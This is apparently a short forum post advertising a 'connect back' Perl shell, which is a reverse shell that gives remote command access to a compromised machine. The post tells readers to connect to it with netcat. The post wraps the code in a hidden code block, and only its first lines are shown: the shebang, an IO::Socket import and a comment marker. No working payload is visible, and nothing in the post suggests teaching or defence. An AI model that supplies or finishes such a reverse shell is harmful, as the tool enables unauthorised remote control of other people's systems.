A nice little Perl connect back shell simple to use just connect to it with netcat or whatever you like

[hide=10][code]
#!/usr/bin/perl
use IO::Socket;
#